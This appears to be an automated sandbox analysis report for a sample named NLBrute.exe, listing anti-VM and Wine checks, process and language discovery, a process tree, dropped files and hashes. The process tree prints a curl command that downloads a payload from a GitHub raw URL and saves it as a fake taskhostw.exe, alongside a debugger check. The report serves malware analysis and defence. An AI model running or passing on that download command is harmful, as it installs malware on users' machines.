Analysis

  • max time kernel
    1s
  • max time network
    6s
  • platform
    windows10-ltsc_2021_x64
  • resource
    win10ltsc2021-20260513-en
  • resource tags

    arch:x64arch:x86image:win10ltsc2021-20260513-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows
  • submitted
    28/08/2026, 04:27

General

  • Target
    NLBrute.exe
  • Size 7.8MB
  • Sample260828-e3b2sssyc1
  • SHA256 86075030d410bad230c74db8c1cbbd7c0d2fbb62c49b812d0a57671773c2e2c5
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Executes dropped EXE 1 IoCs
  • Identifies Wine through registry keys 2 TTPs 1 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

  • Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Discovers running processes 1 TTPs 1 IoCs

    Running process information can be used to identify security tools or plan follow-on actions.

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\NLBrute.exe
    "C:\Users\Admin\AppData\Local\Temp\NLBrute.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2184
    • C:\Windows\SYSTEM32\cmd.exe
      "cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\cb_bdef637fd0a94d3ea87454fc8f95b178.bat"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2324
      • C:\Windows\system32\tasklist.exe
        tasklist
        3⤵
        • Discovers running processes
        PID:3816
      • C:\Windows\system32\findstr.exe
        findstr /i "dbg.exe"
        3⤵
          PID:3496
        • C:\Windows\system32\curl.exe
          curl.exe -L "https://raw.githubusercontent.com/sandycpuhub/update/refs/heads/main/nvdia.dat" -o "C:\Users\Public\Music\Samples\taskhostw.exe"
          3⤵
            PID:4316
        • C:\Users\Admin\AppData\Local\Temp\cb_bdef637fd0a94d3ea87454fc8f95b178.exe
          "C:\Users\Admin\AppData\Local\Temp\cb_bdef637fd0a94d3ea87454fc8f95b178.exe"
          2⤵
          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
          • Checks BIOS information in registry
          • Executes dropped EXE
          • Identifies Wine through registry keys
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          PID:3976

      Network

            MITRE ATT&CK Enterprise v16

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            cb_bdef637fd0a94d3ea87454fc8f95b178.bat

            • Path C:\Users\Admin\AppData\Local\Temp\cb_bdef637fd0a94d3ea87454fc8f95b178.bat
            • Size 3KB
            • SHA256 755b48c6987864f89d3cc89584166954fc5acd9f1372fb2150108cf3ac7ffca7
            • MD5 SHA1 SHA512 TLSH

            cb_bdef637fd0a94d3ea87454fc8f95b178.exe

            • Path C:\Users\Admin\AppData\Local\Temp\cb_bdef637fd0a94d3ea87454fc8f95b178.exe
            • Size 7.8MB
            • SHA256 ffa28db79daca3b93a283ce2a6ff24791956a768cb5fc791c075b638416b51f4
            • MD5 SHA1 SHA512 SSDEEP TLSH

            memory/2184-0-0x0000000000E60000-0x0000000000E68000-memory.dmp

            memory/3976-8-0x0000000005F60000-0x0000000005F61000-memory.dmp

            memory/3976-23-0x0000000005EE0000-0x0000000005EE1000-memory.dmp

            memory/3976-15-0x0000000003900000-0x0000000003901000-memory.dmp

            memory/3976-18-0x0000000005E50000-0x0000000005E51000-memory.dmp

            memory/3976-17-0x00000000038F0000-0x00000000038F1000-memory.dmp

            memory/3976-14-0x0000000005F40000-0x0000000005F41000-memory.dmp

            memory/3976-13-0x0000000005F30000-0x0000000005F31000-memory.dmp

            memory/3976-12-0x0000000005F80000-0x0000000005F81000-memory.dmp

            memory/3976-11-0x0000000005F20000-0x0000000005F21000-memory.dmp

            memory/3976-10-0x0000000005F50000-0x0000000005F51000-memory.dmp

            memory/3976-9-0x0000000005F70000-0x0000000005F71000-memory.dmp

            memory/3976-6-0x0000000000400000-0x0000000001C9F400-memory.dmp

            memory/3976-24-0x00000000039B0000-0x00000000039B1000-memory.dmp

            memory/3976-16-0x0000000003910000-0x0000000003911000-memory.dmp

            memory/3976-22-0x0000000005E10000-0x0000000005E11000-memory.dmp

            memory/3976-21-0x0000000005E20000-0x0000000005E21000-memory.dmp

            memory/3976-20-0x00000000038E0000-0x00000000038E1000-memory.dmp

            memory/3976-19-0x0000000005E90000-0x0000000005E91000-memory.dmp

            memory/3976-25-0x0000000005E80000-0x0000000005E81000-memory.dmp

            memory/3976-33-0x0000000005EB0000-0x0000000005EB1000-memory.dmp

            memory/3976-32-0x0000000005EC0000-0x0000000005EC1000-memory.dmp

            memory/3976-31-0x0000000005EA0000-0x0000000005EA1000-memory.dmp

            memory/3976-30-0x0000000005E40000-0x0000000005E41000-memory.dmp

            memory/3976-29-0x0000000000400000-0x0000000001C9F400-memory.dmp

            memory/3976-34-0x0000000005E70000-0x0000000005E72000-memory.dmp

            memory/3976-35-0x0000000005ED0000-0x0000000005ED1000-memory.dmp